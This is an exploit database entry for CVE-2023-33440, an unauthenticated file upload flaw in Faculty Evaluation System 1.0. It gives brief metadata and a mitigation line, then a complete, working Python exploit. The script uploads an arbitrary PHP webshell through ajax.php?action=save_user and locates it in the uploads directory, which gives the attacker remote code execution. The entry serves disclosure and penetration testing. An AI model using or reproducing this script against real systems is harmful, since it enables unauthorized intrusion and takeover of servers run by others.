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vendor:
Faculty Evaluation System
by:
Alex Gan
7.2
CVSS
HIGH
Unauthenticated File Upload
434
CWE
Product Name: Faculty Evaluation System
Affected Version From: 1
Affected Version To: 1
Patch Exists: NO
Related CWE: CVE-2023-33440
CPE: a:faculty_evaluation_system:1.0
Metasploit:
Other Scripts:
Tags: packetstorm,cve,cve2023,faculty,rce,intrusive
CVSS Metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Nuclei Metadata: {'max-request': 2, 'verified': True, 'vendor': 'faculty_evaluation_system_project', 'product': 'faculty_evaluation_system'}
Platforms Tested: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6
2023

Faculty Evaluation System 1.0 – Unauthenticated File Upload

This exploit allows an attacker to upload files to the Faculty Evaluation System 1.0 without authentication, potentially leading to remote code execution. The vulnerability exists in the login.php page, which does not properly validate user input.

Mitigation:

To mitigate this vulnerability, the vendor should implement proper input validation and file upload restrictions. Users should also keep their systems up to date with the latest patches.
Source

Exploit-DB raw data:

# Exploit Title: Faculty Evaluation System 1.0 - Unauthenticated File Upload
# Date: 5/29/2023
# Author: Alex Gan
# Vendor Homepage: https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/eval_2.zip
# Version: 1.0
# Tested on: LAMP Fedora server 38 (Thirty Eight) Apache/2.4.57 10.5.19-MariaDB PHP 8.2.6
# CVE: CVE-2023-33440
# References: https://nvd.nist.gov/vuln/detail/CVE-2023-33440
#			  https://www.exploit-db.com/exploits/49320
#	          https://github.com/F14me7wq/bug_report/tree/main/vendors/oretnom23/faculty-evaluation-system
#             
#!/usr/bin/env python3
import os
import sys
import requests
import argparse
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from requests.exceptions import ConnectionError, Timeout

def get_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', '--url', type=str, help='URL')
    parser.add_argument('-p', '--payload', type=str, help='PHP webshell')
    return parser.parse_args()

def get_user_input(args):
    if not (args.url):
        args.url = input('Use the -u argument or Enter URL:')
    if not (args.payload):
        args.payload = input('Use the -p argument or Enter file path PHP webshell: ')
    return args.url, args.payload

def check_input_url(url):
    parsed_url = urlparse(url)
    if not parsed_url.scheme:
        url = 'http://' + url
    if parsed_url.path.endswith('/'):
        url = url.rstrip('/')
    return url

def check_host_availability(url):
    try:
        response = requests.head(url=url + '/login.php')
        if response.status_code == 200:
            print("[+] Host is accessible")
        else:
            print("[-] Host is not accessible")
            print("    Status code:", response.status_code)
            sys.exit()
    except (ConnectionError, Timeout) as e:
        print("[-] Host is not accessible")
        sys.exit()
    except requests.exceptions.RequestException as e:
        print("[-] Error:", e)
        sys.exit()

def make_request(url, method, files=None):
    if method == 'GET':
        response = requests.get(url)
    elif method == 'POST':
        response = requests.post(url, files=files)
    else:
        raise ValueError(f'Invalid HTTP method: {method}')
    
    if response.status_code == 200:
        print('[+] Request successful')
        return response.text
    else:
        print(f'[-] Error {response.status_code}: {response.text}')
        return None

def find_file(response_get, filename, find_url):
    soup = BeautifulSoup(response_get, 'html.parser')

    links = soup.find_all('a')
    found_files = []

    for link in links:
        file_upl = link.get('href')
        if file_upl.endswith(filename):
            found_files.append(file_upl)

    if found_files:
        print('    File found:')
        for file in found_files:
            print('[*] ' + file)

        print('    Full URL of your file:')
        for file_url in found_files:
            print('[*] ' + find_url + file_url)
    else:
        print('[-] File not found')

def main():
    args = get_args()
    url, payload = get_user_input(args)
    url = check_input_url(url)
    check_host_availability(url)

    post_url = url + "/ajax.php?action=save_user"
    get_url = url + "/assets/uploads/"
    filename = os.path.basename(payload)
    payload_file = [('img',(filename,open(args.payload,'rb'),'application/octet-stream'))]
    
    print("    Loading payload file")
    make_request(post_url,  'POST', files=payload_file)
    print("    Listing the uploads directory")
    response_get = make_request(get_url, 'GET')
    print("    Finding the downloaded payload file")
    find_file(response_get, filename, get_url)

if __name__ == "__main__":
    main()